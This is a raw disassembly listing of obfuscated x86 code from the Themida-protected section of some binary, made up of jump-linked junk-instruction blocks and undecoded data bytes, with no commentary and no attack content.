loc_58BB7D:				; CODE XREF: Themida_:00595702j
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_595103
; ---------------------------------------------------------------------------
aRszfsuu	db '¾àszFéîž',0
		align 2
		dw 0D828h
		dd 0E953525Bh, 7C1Ch
; ---------------------------------------------------------------------------


loc_58BB9C:				; CODE XREF: Themida_:0058CD96j
		add	ch, 92h
		sub	ch, 2Fh
		jmp	loc_59321A
; ---------------------------------------------------------------------------
		db 33h
		dd 34312434h, 24343324h, 0E924248Bh, 0FFFFFB83h, 0E924248Bh
		dd 0A8Ah, 1559BBBAh, 0E9D2F75Ch, 1FFCh
; ---------------------------------------------------------------------------


loc_58BBCC:				; CODE XREF: Themida_:005901E3j
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_58B740
; ---------------------------------------------------------------------------
		db 87h
		dd 895C240Ch, 40E92404h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BBE3:				; CODE XREF: Themida_:0058CF28j
		mov	ebx, 7FFD7A0Ah
		jmp	loc_5929C1
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 0ECh
		dd 4, 88240C89h, 0E9CA88D9h, 65E9h, 8888E95Fh, 0F660000h
		dd 5166C8B6h, 9DC4E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58BC12:				; CODE XREF: Themida_:0058C9C0j
		mov	edx, esp
		jmp	loc_59579E
; ---------------------------------------------------------------------------


loc_58BC19:				; CODE XREF: Themida_:00591AB1j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_595A62
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 24248B24h, 0FFD82DE9h, 24048BFFh, 0E9E38953h, 6AC6h
		dd 89E9D5F6h, 57000080h, 0FE0A87BFh, 5FFE290Ah,	895EF229h
		dd 434CE9D1h, 0B1E90000h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58BC5F:				; CODE XREF: Themida_:00589804j
		add	ebp, edx
		pop	edx
		jmp	loc_58AC00
; ---------------------------------------------------------------------------
		db 81h
		dd 0F6BAABC7h, 5BC181F4h, 294F6448h, 5BE981F9h,	5F4F6448h
		dd 240C875Bh, 0FF24248Bh, 81592434h, 4ECh, 241C8900h, 8904EC83h
		dd 4832424h, 1C8B0424h,	0E6895624h, 4C681h, 0BF570000h
		dd 4, 0FFD962E9h, 8AF781FFh, 1AA14E6h, 243C8BFBh, 4C481h
		dd 0EDE90000h, 0C1000092h, 0D9F705E1h, 3E91E9h
		db 0
; ---------------------------------------------------------------------------


loc_58BCD1:				; CODE XREF: Themida_:00593A36j
		mov	edx, 3E143838h
		jmp	loc_59053C
; ---------------------------------------------------------------------------
		db 0F7h
aSO		db 'ØéÚO',0
		align 2
aIXpSSE		db '‰ÇXP¸éÁ"',0Bh,')ÇéÖ…',0
		align 2
		dd offset loc_41BD68
		dw 0E900h
		dd 596h, 4C18159h, 83000000h, 0C8704C1h, 53E95C24h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BD0F:				; CODE XREF: Themida_:00590671j
		add	dl, 0E2h
		jmp	loc_594E65
; ---------------------------------------------------------------------------


loc_58BD17:				; CODE XREF: Themida_:0058CDF4j
		xor	edx, eax
		xor	eax, edx
		push	492h
		mov	[esp], edx
		push	edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	dword ptr [esp]
		not	edi
		jmp	loc_590616
; ---------------------------------------------------------------------------
		dd 88241C89h, 0E9FE88EFh, 0EC1h, 8124148Bh, 4C4h, 0FFF82900h
		dd 815F2434h, 4C4h, 0E802E900h,	0C681FFFFh, 4, 7502E9h
		dd 0B4506600h, 66E730C1h, 0D70458h, 5BD72CF8h, 21F06852h
		dd 8F540000h, 4832404h,	148B0424h, 3725E924h, 0EC810000h
		dd 2, 24148966h, 0EAC0B5B2h, 660AE908h,	0F6BD0000h, 0E9432253h
		dd 0F7Ah, 4C381h, 0C3810000h, 4, 5C241C87h, 0E9243433h
		dd 7799h
; ---------------------------------------------------------------------------


loc_58BDC8:				; CODE XREF: Themida_:00592C18j
		pop	edx
		xor	edx, 3CC610DAh
		pop	edi
		jmp	loc_59534E
; ---------------------------------------------------------------------------
		align 2
		dw 5BF8h
		dd 34FF2B04h, 0D8AFE924h, 822DFFFFh, 0E950BE67h, 9794h
		dd 0E924048Fh, 0FFFFFDC4h
; ---------------------------------------------------------------------------


loc_58BDF4:				; CODE XREF: Themida_:0058E7B5j
		push	ebp
		mov	ebp, 3E7083DAh
		sub	esi, ebp
		jmp	loc_595510
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 9Fh
		dd 0BF336C5Bh, 4FBCD16Dh, 1C8BDF29h, 4C48124h, 31000000h
		dd 0E9525FFAh, 266Ch, 4D696857h, 0C15F2248h, 0E95605E7h
		dd 0FFFFFD58h, 78ECE281h, 60E91D1Fh
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58BE3B:				; CODE XREF: Themida_:00594CE4j
		sub	esp, 4
		jmp	loc_591084
; ---------------------------------------------------------------------------
		dw 0F901h
		dd 41ABBB53h, 0D9297239h, 0A3C1815Bh, 8B0AF921h, 240C8B01h
		dd 5204C483h, 0D9C8E955h, 0D366FFFFh, 0E99C242Ch, 0FFFFD5F2h
		dd 2C181h, 10E90000h, 0FF000060h, 37E98734h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58BE83:				; CODE XREF: Themida_:005913B8j
		push	esi
		jmp	loc_592065
; ---------------------------------------------------------------------------
		db 5Ah,	2Ch, 0A0h
		dd 0FFF1CCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58BE91:				; CODE XREF: Themida_:0058F483j
		push	edi
		mov	edi, 32062704h
		add	edi, 1
		shr	edi, 2
		jmp	loc_5922C2
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 0CF010000h, 4C78159h, 87000000h, 248B243Ch, 5E2BE924h
		dd 2C8B0000h, 7A06E924h, 815D0000h, 4C5h, 4ED8100h, 55000000h
		dd 884BE9h
		db 0
; ---------------------------------------------------------------------------


loc_58BED9:				; CODE XREF: Themida_:0058D394j
		pop	esi
		add	esi, 4
		push	5FF9h
		mov	[esp], ebp
		mov	ebp, 10BA18A2h
		add	ebp, 3F68740Ah
		jmp	loc_58AF63
; ---------------------------------------------------------------------------
		dd 5EF1295Bh, 8159C829h, 26E79C3h, 110E6801h, 0C890000h
		dd 0F7BB5324h, 0E923A243h, 2556h
; ---------------------------------------------------------------------------


loc_58BF18:				; CODE XREF: Themida_:00594DD0j
		add	edx, 35CB5451h
		pop	ecx
		push	edx
		mov	edx, 55795F21h
		neg	edx
		sub	edx, 33C66604h
		add	eax, edx
		pop	edx
		add	eax, edx
		sub	eax, 76C03ADBh
		pop	edx
		sub	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_59419C
; ---------------------------------------------------------------------------
		db 68h,	16h, 10h
aRa_scq		db 'a_éCq',0
		align 4
		dd 240C875Bh, 43DE9h
		db 0
; ---------------------------------------------------------------------------


loc_58BF5D:				; CODE XREF: Themida_:005946D7j
		mov	edx, [esp]
		add	esp, 4
		sub	ebp, eax
		jmp	loc_58D88D
; ---------------------------------------------------------------------------


loc_58BF6A:				; CODE XREF: Themida_:00590312j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_590F09
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 5Fh
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BF7F:				; CODE XREF: Themida_:00590380j
		mov	esi, ebx
		pop	ebx
		xor	eax, esi
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_594846
; ---------------------------------------------------------------------------


loc_58BF98:				; CODE XREF: Themida_:0058E98Bj
		pop	eax
		jmp	loc_58BB6B
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 53306D03h, 0FFEC62E9h, 243C87FFh, 0FFD53DE9h, 10A4B8FFh
		dd 0F74063A7h, 0E3305D8h, 0E0C10DE2h, 1CC8E903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58BFC6:				; CODE XREF: Themida_:0058B6A7j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	edi, edx
		pop	edx
		xor	edi, 219D3CB1h
		push	ebx
		mov	ebx, 3FD024DDh
		xor	ebx, 476503Dh
		not	ebx
		push	esi
		jmp	loc_591B4C
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 4C481h, 48F0000h, 0F665C24h,	9C2404BBh, 0FFD45DE9h
		dd 14895CFFh, 4BA24h, 0B62D0000h, 2D54311Ch, 6A067A81h
		dd 0E2E9D001h, 89000048h, 0EC8352E0h, 241C8904h, 0FFF097E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58C02D:				; CODE XREF: Themida_:00593A5Ej
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	eax, [esp]
		push	ebx
		jmp	loc_58C20A
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 54D4FACAh, 875BDF01h, 87D6F7F7h, 36BA52F7h, 0F779D84Ch
		dd 81DAF7DAh, 0A9773BCAh, 0F2814A13h, 5A9A221Ah, 815AD701h
		dd 0C72E8BEFh, 5DCE97Eh, 0C890000h, 4B924h, 49E90000h
		dd 5E000028h, 1804E9h, 5E08900h, 4, 8704E883h, 3E92404h
		dd 68FFFFD9h, 282Eh, 0E9240C89h, 8DF9h,	6858E208h, 3346h
		dd 0B4240489h, 0E8EC8026h, 10EA80h, 10C280E2h, 0EA5AE958h
		dd 0C781FFFFh, 4, 5C243C87h, 542AE950h,	3C8B0000h, 4C48324h
		dd 5704C483h, 476BBB53h, 0DF893BE3h, 16EF815Bh,	6827F707h
		dd 6D55h, 0E9241C89h, 0FFFFD951h, 4E800D59h, 0F12D29EBh
		dd 81AF2CB3h, 44782BEDh, 0C39E956h, 77FF0000h, 58669D1Ch
		dd 9C240410h, 0A9E9h
		db 0
; ---------------------------------------------------------------------------


loc_58C129:				; CODE XREF: Themida_:00590BA3j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_58EE68
; ---------------------------------------------------------------------------
		align 2
		dw 8BC6h
		dd 0C4812404h, 4, 0F000502Ch, 8B665004h, 89502414h, 405E0h
		dd 0C0830000h, 24048702h, 5BB5515Ch, 80D9ED80h,	0EB009BC5h
		dd 2BE95259h, 8B00004Dh, 7CE92404h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C173:				; CODE XREF: Themida_:00590C70j
		pop	ebp
		jmp	loc_5934E5
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 5F04C483h, 0B850DBF7h, 4C447C7Fh, 4F96B951h,	0C83111CEh
		dd 8705E9h, 8ECD8100h, 0E9301A6Dh, 0FFFFF9B4h, 56D0E581h
		dd 76E904ABh, 89FFFFF7h, 241C8BD9h, 104C483h, 4E5FE9CFh
		dd 7D680000h, 89000072h, 0CAB5240Ch, 8081CD80h,	0B65201C5h
		dd 62FAE9A0h, 8BE90000h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C1D7:				; CODE XREF: Themida_:0058CB1Ej
		mov	eax, esi
		jmp	loc_59571B
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 89B65204h, 0BB2E9h
		db 0
; ---------------------------------------------------------------------------


loc_58C1E9:				; CODE XREF: Themida_:00590102j
		sub	esi, 27CF0D8Ah
		add	esi, edx
		add	esi, 27CF0D8Ah
		pop	edx
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_590DEC
; ---------------------------------------------------------------------------


loc_58C20A:				; CODE XREF: Themida_:0058C045j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	29CBh
		mov	[esp], ecx
		jmp	loc_58E081
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 95h
		dd 294D725Ah, 0F8315EF7h, 0FFE53DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58C239:				; CODE XREF: Themida_:0058968Cj
		mov	[esp], eax
		pop	dword ptr [edi+40h]
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_58DBEA
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 2992211Bh, 0F2DEB81h, 0BF5700BCh, 491073F5h,	5203E7C1h
		dd 0A4F05ABAh, 5AD73155h, 17F6C381h, 0EB810979h, 2238750Ah
		dd 55C5EB81h, 0FB017E8Bh, 1BE1E9h
		db 0
; ---------------------------------------------------------------------------


loc_58C281:				; CODE XREF: Themida_:00595483j
		or	ebx, edi
		pop	edi
		shl	ebx, 2
		add	ebx, 8BE57D0h
		jmp	loc_58FC5F
; ---------------------------------------------------------------------------
		dw 3489h
		dd 41ABBE24h, 27BD3725h, 81A0F8E7h, 927A11C5h, 81F52932h
		dd 927A11EDh, 0B6E95E32h, 0FF000039h
		db 34h,	24h, 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	0E60h
		mov	[esp], eax
		mov	eax, 0C2C77C9h
		xor	eax, 1AC970EAh
		dec	eax
		jmp	loc_592A0C
; ---------------------------------------------------------------------------
		dd 0B2241489h, 0C0E2D098h, 0F28005E2h, 5AD30016h, 92C1E952h
		dd 53AC0000h, 73E91EB7h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C2F7:				; CODE XREF: Themida_:0058DD8Ej
		push	dword ptr [esp]
		pop	eax
		add	esp, 4


loc_58C2FE:				; CODE XREF: Themida_:00589ECCj
		push	49DBh
		mov	[esp], ebx
		push	ecx
		mov	ecx, 10184DCCh
		push	edx
		mov	edx, 31F9553Eh
		add	[esp+8], edx
		pop	edx
		jmp	loc_594A18
; ---------------------------------------------------------------------------
		dd 83242489h, 0FF042404h, 525F2434h, 0CCE95A54h, 0C0000036h
		dd 0C68007E6h, 0E9372CC8h, 278Ch, 2BEh,	0F07DE900h, 8966FFFFh
		dd 13E92404h, 53FFFFD1h, 0C381E389h, 4,	4EB81h,	1C870000h
		dd 3C895C24h, 4EC8124h,	89000000h, 0BA522424h, 4, 4246C81h
		dd 70EB5AD6h, 4245401h,	4244481h, 70EB5AD6h, 8324148Bh
		dd 555F04C4h, 4BDh, 40C9E900h, 248B0000h, 240C8924h, 3FC68h
		dd 0BA525900h, 6DDC4620h, 148BD701h, 4C48324h, 0BA52CF01h
		dd 0E91439Fh, 281C281h,	0D7295F4Bh, 240C8B5Ah, 30C8E9h
		dd 0C8B6600h, 21E95724h, 5C000022h, 5C24048Fh, 5757E9h
		dd 0E0895000h, 405h, 4BA5200h, 1000000h, 4875AD0h, 0F2685C24h
		dd 89000030h, 2BF243Ch,	1000000h, 0C63E9FAh, 53E90000h
		dd 80FFFFD0h, 505273ECh, 1324EEB0h, 0FFE87CE9h,	81EA01FFh
		dd 0A66170EAh, 52C1E928h, 0FE880000h, 8103E9h, 2C48300h
		dd 0E964B050h, 4660h
; ---------------------------------------------------------------------------


loc_58C43C:				; CODE XREF: Themida_:00593EB8j
		xchg	ebx, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_58A38B
; ---------------------------------------------------------------------------
		dd 8924248Bh, 10E9243Ch, 0E9000062h, 0FFFFCFFEh, 5A2434FFh
		dd 4EC8155h, 89000000h,	4832424h, 815D0424h, 4C5h, 4B85000h
		dd 1000000h, 2C8758C5h,	0BA525C24h, 1D276FF2h, 1179E9h
		dd 0E6895600h, 4C681h, 38E90000h, 5E000009h, 35A1E957h
		dd 5D5D0000h, 4246C81h,	6B5D0E30h, 4244C29h, 4244481h
		dd 6B5D0E30h, 38055859h, 66725E13h, 6600B60Fh, 662EF468h
		dd 0E9240489h, 0FFFFCF8Ah, 7C37BA52h, 50422E5Fh, 173BE9h
		dd 24143100h, 5C241433h, 0FFFE5EE9h, 0BB5353FFh, 61E95877h
		dd 4245C01h, 2961E9h, 90B05000h, 3406E8C0h, 6C045Eh, 0C68058C6h
		dd 89F0E9BDh, 8B660000h, 0E950240Ch, 6334h, 0E959CB89h
		dd 6911h, 104C483h, 68E95DEAh, 0BE000004h, 28694884h, 0BD55D6F7h
		dd 28694889h, 15DEE01h,	0D936E9F5h, 68ADFFFFh, 52A0h, 0BA241489h
		dd 6766217Eh, 148BD001h, 4C48324h, 7724E9h, 243C8B00h
		dd 3C3CE9h
		db 0
; ---------------------------------------------------------------------------


loc_58C56D:				; CODE XREF: Themida_:0058A9B3j
		add	esp, 4
		push	edx
		mov	edx, 10705DACh
		sub	edx, 10705DA8h
		jmp	loc_591EBF
; ---------------------------------------------------------------------------


loc_58C581:				; CODE XREF: Themida_:0058B349j
		add	ecx, ebp
		add	ecx, 331B49A8h
		sub	ecx, 0B66298Eh
		jmp	loc_58AB4B
; ---------------------------------------------------------------------------
		dd 0EB81C329h, 7E2871E2h, 5E9FEB81h, 0BD55437Ah, 187978BCh
		dd 3576EB81h, 0EB296B8Bh, 3576C381h, 0E95D6B8Bh, 43FDh
; ---------------------------------------------------------------------------


loc_58C5BC:				; CODE XREF: Themida_:0058AC75j
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_592A24
; ---------------------------------------------------------------------------
		dd 515DE829h, 1F73BA52h, 0C28129FAh, 0DEDAF7DEh, 495AD189h
		dd 3FF6BB53h, 0CB812979h, 6DC37E1Dh, 0EB81DBF7h, 5E515D18h
		dd 0DBC6E952h, 0BA52FFFFh, 25CF06BEh, 0E907E2C1h, 372Ch
		dd 8124348Bh, 4C4h, 24148700h, 344E9h, 39685500h, 89000077h
		dd 4CE9243Ch, 8B000091h, 0C4832414h, 309DE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58C62E:				; CODE XREF: Themida_:00590F7Fj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		mov	eax, 7E5D634Ah
		jmp	loc_593DF8
; ---------------------------------------------------------------------------
		dd 241CF766h, 0CE18E99Ch, 0F66FFFFh, 0E956C8BEh, 6E70h
		dd 9496E94Bh, 0FB010000h, 88DEE9h, 148B6600h, 2C48324h
		dd 8B66F830h, 8957241Ch, 4C781E7h, 81000000h, 2C7h, 0DDEDE900h
		dd 0E959FFFFh, 731Dh
; ---------------------------------------------------------------------------


loc_58C688:				; CODE XREF: Themida_:0058A7F5j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_58CC3B
; ---------------------------------------------------------------------------


loc_58C69E:				; CODE XREF: Themida_:00593F8Bj
		push	ebp
		mov	ebp, 15276E19h
		not	ebp
		add	ebp, 202721D9h
		add	ebp, 1B0C2158h
		xor	ebp, 6D34ADE1h
		sub	esi, ebp
		pop	ebp
		xor	esi, 0C06997E2h
		jmp	loc_58A1EE
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 241C3124h, 5C241C33h, 54B55150h, 0EC30B0B4h,	0E9C4FE59h
		dd 29BEh
; ---------------------------------------------------------------------------


loc_58C6E0:				; CODE XREF: Themida_:00592D89j
		push	edi
		mov	edi, 624F7F0Ch
		add	edi, 9F8A3C6h
		add	esi, edi
		jmp	loc_589B75
; ---------------------------------------------------------------------------
		db 56h
		dd 59739DBEh, 5936822h,	815F001Dh, 23D83C7h, 14D9E912h
		dd 81420000h, 8A0FA4E2h, 0ECEA8117h, 899F1095h,	8E2DE9D3h
		dd 0F0010000h, 8124348Bh, 4ECh,	241C8900h, 0C381E389h
		dd 4, 8704C383h, 565C241Ch, 808EE9h
		db 0
; ---------------------------------------------------------------------------


loc_58C741:				; CODE XREF: Themida_:0058D388j
		push	edi
		mov	edi, 1
		mov	ebx, edi
		mov	edi, [esp]
		jmp	loc_58AB8F
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 81h
		dd 4C7h, 6E5F6800h, 2C890000h, 46824h, 2C8B0000h, 4C48324h
		dd 5EEEC781h, 0EF0114C4h, 5EEEBE56h, 90E914C4h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C77F:				; CODE XREF: Themida_:0058CA7Aj
		pop	esi
		push	ecx
		mov	ecx, 6DE37041h
		and	ecx, 59704D46h
		push	edi
		mov	edi, 7FBE0FF3h
		and	edi, 0BA275FFh
		jmp	loc_58AFA8
; ---------------------------------------------------------------------------
		db 81h,	0E2h, 0D4h
		dd 8134516Ch, 506B3DEAh, 0E9D7291Ch, 0FFFFECBCh, 1B99B966h
		dd 66CA3166h, 365E959h,	0BA520000h, 13350A4Ch, 0E905E2C1h
		dd 7BDEh, 8704EE83h, 248B2434h,	65C6E924h, 0BCBF0000h
		dd 0C1233D4Bh, 0C78104E7h, 0CAC81F01h, 0C7E9FD01h, 5000003Ch
		dd 0E67420B8h, 8BE4057Bh, 32E98419h, 81000010h,	4C3h, 241C8700h
		dd 0FFD058E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58C80D:				; CODE XREF: Themida_:00594447j
		pop	ecx
		shl	edi, 6
		inc	edi
		and	edi, 5D5D7F0Bh
		jmp	loc_592932
; ---------------------------------------------------------------------------
		db 0D1h, 0E7h, 0F7h
		dd 6E7C1D7h, 6FEC781h, 0F801F57Dh, 0E9D8295Fh, 0FFFFD5F5h
; ---------------------------------------------------------------------------


loc_58C834:				; CODE XREF: Themida_:0058AD89j
		mov	esi, 68D10F59h
		inc	esi
		xchg	ebx, esi
		jmp	loc_594338
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 71AB68h, 5025E900h, 0C5890000h, 0FFE163E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58C855:				; CODE XREF: Themida_:00591625j
		add	edx, 32AD074Fh
		shl	edx, 6
		sub	edx, 0AE61AD2h
		add	edx, 9FC4995Fh
		xor	edi, edx
		jmp	loc_58D5D6
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 6624248Bh, 56240C8Bh, 8D9BE9h
		db 0
; ---------------------------------------------------------------------------


loc_58C881:				; CODE XREF: Themida_:0059139Aj
		or	esi, 722B7D27h
		jmp	loc_5957A9
; ---------------------------------------------------------------------------
		dd 0BFFFFEB8h, 0F2C28109h, 2918B667h, 0F2EA81C2h, 5818B667h
		dd 0E95AD501h, 0FFFFEF3Fh
; ---------------------------------------------------------------------------


loc_58C8A8:				; CODE XREF: Themida_:0058FBE0j
		pop	edx
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	esi, edi
		pop	edi
		and	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		or	ebx, ebx
		jnz	loc_58A7EA
		push	0DC1h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	edx
		sub	dword ptr [esp], 21DC3F28h
		pop	ebx
		add	ebx, 21DC3F28h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 20h
		add	edx, edi
		jmp	loc_591F44
; ---------------------------------------------------------------------------
		dw 5451h
		dd 4C18159h, 0E9000000h, 237Dh,	0FFCB41E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58C921:				; CODE XREF: Themida_:00591911j
		push	edx
		mov	eax, [esp]
		add	esp, 4
		pop	edx
		xchg	edi, edx
		not	edi
		push	edx
		push	7EDEh
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_5908D1
; ---------------------------------------------------------------------------


loc_58C93F:				; CODE XREF: Themida_:0058D46Bj
		sub	ecx, ebx
		jmp	loc_58D023
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 16F1E924h, 2C330000h, 242C3124h, 0FFFF18E9h,	0F7665CFFh
		dd 0E08950E9h, 0FFD578E9h, 5E3568FFh, 9DE90000h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58C96F:				; CODE XREF: Themida_:00593E62j
		dec	ebx
		and	ebx, 702F7586h
		jmp	loc_58E972
; ---------------------------------------------------------------------------


loc_58C97B:				; CODE XREF: Themida_:005907C7j
		mov	edi, 0CB13B3Fh
		jmp	loc_593053
; ---------------------------------------------------------------------------


loc_58C985:				; CODE XREF: Themida_:0058EE3Cj
		mov	eax, 31FD0BDAh
		sub	eax, 79CA69B9h
		push	edx
		push	63B54FF5h
		pop	edx
		jmp	loc_58F450
; ---------------------------------------------------------------------------
		db 87h
		dd 565C2414h, 48E9E689h, 9FFFFFEh, 0F3E95FF9h, 500006Ah
		dd 64B7136Eh, 0E951F829h, 46F8h
; ---------------------------------------------------------------------------


loc_58C9BC:				; CODE XREF: Themida_:0058DC03j
		mov	edi, [esp]
		push	edx
		jmp	loc_58BC12
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
aBTQSKsW	db 'ºb ¹]Áâ',7,'Q¹}s/ké`w',0
		dw 8100h
		dd 4C4h, 57E95000h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58C9E7:				; CODE XREF: Themida_:005920B5j
		mov	[esp], ebp
		push	esi
		push	ebp
		mov	ebp, 63F12481h
		inc	ebp
		inc	ebp
		sub	ebp, 27BEDC4Fh
		mov	esi, ebp
		pop	ebp
		mov	ebp, 43571C4Bh
		sub	ebp, 21FF6DC3h
		push	esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 41943BFh
		mov	esi, ebp
		pop	ebp
		xor	ebp, esi
		pop	esi
		xor	ebp, 47B15B4Eh
		sub	ebp, 3373304Fh
		push	ebx
		jmp	loc_58FBE5
; ---------------------------------------------------------------------------
		db 80h
		dd 0F3803EE3h, 0F15CE902h, 34FFFFFFh, 4CC5E924h, 68510000h
		dd 6FE67C5Bh, 81240C8Bh, 4C4h, 4EC8300h, 0F7240C89h, 81592414h
		dd 0E67C88C1h, 4D33686Fh, 34890000h, 2AE95124h,	0C1000061h
		dd 0C78106E7h, 0D47FF2C4h, 85E2E9h
		db 0
; ---------------------------------------------------------------------------


loc_58CA79:				; CODE XREF: Themida_:005936D2j
		push	esp
		jmp	loc_58C77F
; ---------------------------------------------------------------------------


loc_58CA7F:				; CODE XREF: Themida_:00591986j
		dec	esi
		jmp	loc_58EA17
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 0DA010000h, 83241C8Bh, 143304C4h, 24143124h
		dd 0FFDC22E9h, 75C581FFh, 0E9F66950h, 8EDh, 0E9242489h
		dd 0FFFFE784h, 17FBE781h, 0F7815367h, 0BDEFFBC8h, 8BE9FE01h
		dd 89000060h, 5AD189C2h, 58C12958h, 0FFFFC181h,	8741FFFFh
		dd 0DAF6E9F9h, 0BA52FFFFh, 14005820h, 5D52C281h, 0D2F71572h
		dd 1F6DE281h, 68241Fh, 0E9000000h, 256Fh
; ---------------------------------------------------------------------------


loc_58CAFC:				; CODE XREF: Themida_:00591E5Fj
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jnz	loc_58B44D
		push	eax
		push	esi
		mov	esi, 2706BAAh
		not	esi
		add	esi, 79BDE050h
		jmp	loc_58C1D7
; ---------------------------------------------------------------------------
		db 66h
		dd 0E95AD301h, 1A6Dh, 1EE9F781h, 0F781081Bh, 3C2B1FEFh
		dd 4E4FF781h, 2E9272Fh,	0F6000019h, 0E95A2414h,	686Ch
; ---------------------------------------------------------------------------


loc_58CB4C:				; CODE XREF: Themida_:0059083Ej
		sub	ebx, edi
		sub	ebx, 32996C91h
		add	ebx, 468F6ED0h
		pop	edi
		and	eax, ebx
		mov	ebx, [esp]
		jmp	loc_58CDE7
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0AAE95624h, 5DFFFFCCh, 239CE9h, 0D6BE5600h, 57692352h
		dd 7D86B850h, 0CD254938h, 0E904E97Ah, 3352h, 0EB86D5F6h
		dd 0E380EBD0h, 80E4E9EFh, 75B10000h, 0E9D0C180h, 314Eh
		dd 0FF1C5709h, 148B2434h, 4C48124h, 68000000h, 1C44h, 89242C89h
		dd 0E68956E5h, 4C681h, 0EE810000h, 4, 0E9243487h, 7B9h
		dd 0FFC889E9h, 2BF680FFh, 801EC680h, 0F528CCC6h, 821CE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58CBEA:				; CODE XREF: Themida_:00590FF7j
		sub	eax, edx
		add	eax, 1A4B23F4h
		pop	edx
		push	dword ptr [esp]
		jmp	loc_59323A
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 1670h, 5AD02966h, 75A8E9h, 0C8B5B00h, 6C4CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58CC12:				; CODE XREF: Themida_:00590680j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_58A254
; ---------------------------------------------------------------------------


loc_58CC1D:				; CODE XREF: Themida_:00593B5Cj
		pop	ebx
		shr	ecx, 0Ah
		push	737Ch
		jmp	loc_592220
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 4116658h,	0D6E99C24h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58CC3B:				; CODE XREF: Themida_:0058C699j
		mov	[esp], edx
		jmp	loc_5907E8
; ---------------------------------------------------------------------------
		db 66h
